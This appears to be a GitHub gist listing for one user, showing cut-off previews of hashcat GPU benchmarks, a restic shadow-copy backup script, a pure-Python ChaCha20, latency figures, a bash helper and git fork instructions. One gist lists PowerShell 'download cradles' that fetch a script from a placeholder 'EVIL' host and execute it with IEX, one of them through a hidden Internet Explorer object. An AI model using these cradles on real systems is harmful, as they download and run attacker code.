DaniloNC

Nvidia GTX 1080 Hashcat Benchmarks

Product: Sagitta Invictus (PN S2440X-GTX-1080)

Software: Hashcat 3.00-beta-116-g9a54829, Nvidia driver 367.18

Accelerator: 1x Nvidia GTX 1080 Founders Edition

Highlights

DaniloNC

# Windows PowerShell Script to use restic to backup files using the Volume Shadow Copy Service, allowing
# that are in use to be backed up. The script must be run with elevated privileges.
# The Volume Shadow Copy Service must be enabled for the disk volume that contains the files to be backed up.
#
# Parameters
$resticExe = 'C:\Users\Username\go\bin\restic.exe'
$resticRepository = '\\SYNOLOGY212J\backups\restic-workstation'
$rootVolume = "C:\"
# List of folders to backup, separated by commas
$foldersToBackup = @(

DaniloNC

# Pure Python ChaCha20
# Based on Numpy implementation: https://gist.github.com/chiiph/6855750
# Based on http://cr.yp.to/chacha.html
#
# I wanted an implementation of ChaCha in clean, understandable Python
# as a way to get a handle on the algorithm for porting to another language.
# There are plenty of bindings but few pure implementations, because
# Pure Python is too slow for normal practical use in Cryptography.
#
# The preceding implementation used NumPy, which avoided a lot of the

DaniloNC

# normal download cradle
IEX (New-Object Net.Webclient).downloadstring("http://EVIL/evil.ps1")

# PowerShell 3.0+
IEX (iwr 'http://EVIL/evil.ps1')

# hidden IE com object
$ie=New-Object -comobject InternetExplorer.Application;$ie.visible=$False;$ie.navigate('http://EVIL/evil.ps1');start-sleep -s 5;$r=$ie.Document.body.innerHTML;$ie.quit();IEX $r

# Msxml2.XMLHTTP COM object

DaniloNC

This benchmark was run on an Amazon EC2 p3.8xLarge instance with 4x Nvidia Tesla Volta V100 GPUs.

Nvidia Driver Version: 390.30 
Hashcat Release: 4.1.0



hashcat (v4.1.0) starting in benchmark mode...

OpenCL Platform #1: NVIDIA Corporation

DaniloNC

OS: Linux Mint
OC: None (stock)
NVIDIA-SMI 410.66       Driver Version: 410.66       CUDA Version: 10.0

hashcat (v4.2.0-11-g95b420df) starting in benchmark mode...

OpenCL Platform #1: NVIDIA Corporation
======================================
* Device #1: GeForce RTX 2080 Ti, 2746/10986 MB allocatable, 68MCU
* Device #2: GeForce RTX 2080 Ti, 2747/10989 MB allocatable, 68MCU

DaniloNC

hashcat (v5.0.0) starting in benchmark mode...

* Device #1: WARNING! Kernel exec timeout is not disabled.
             This may cause "CL_OUT_OF_RESOURCES" or related errors.
             To disable the timeout, see: https://hashcat.net/q/timeoutpatch
OpenCL Platform #1: NVIDIA Corporation
======================================
* Device #1: GeForce RTX 2080 Ti, 2816/11264 MB allocatable, 68MCU

Benchmark relevant options:

DaniloNC

Latency Comparison Numbers (~2012)
----------------------------------
L1 cache reference                           0.5 ns
Branch mispredict                            5   ns
L2 cache reference                           7   ns                      14x L1 cache
Mutex lock/unlock                           25   ns
Main memory reference                      100   ns                      20x L2 cache, 200x L1 cache
Compress 1K bytes with Zippy             3,000   ns        3 us
Send 1K bytes over 1 Gbps network       10,000   ns       10 us
Read 4K randomly from SSD*             150,000   ns      150 us          ~1GB/sec SSD

DaniloNC

#!/bin/bash

__get_random_string () {

    openssl rand -hex "${1}" | cut -c "1-${1}"

}

__my_vm='W10'

DaniloNC

The repository for the assignment is public and Github does not allow the creation of private forks for public repositories.

The correct way of creating a private frok by duplicating the repo is documented here.

For this assignment the commands are:

1. Create a bare clone of the repository. (This is temporary and will be removed so just do it wherever.)

git clone --bare [email protected]:usi-systems/easytrace.git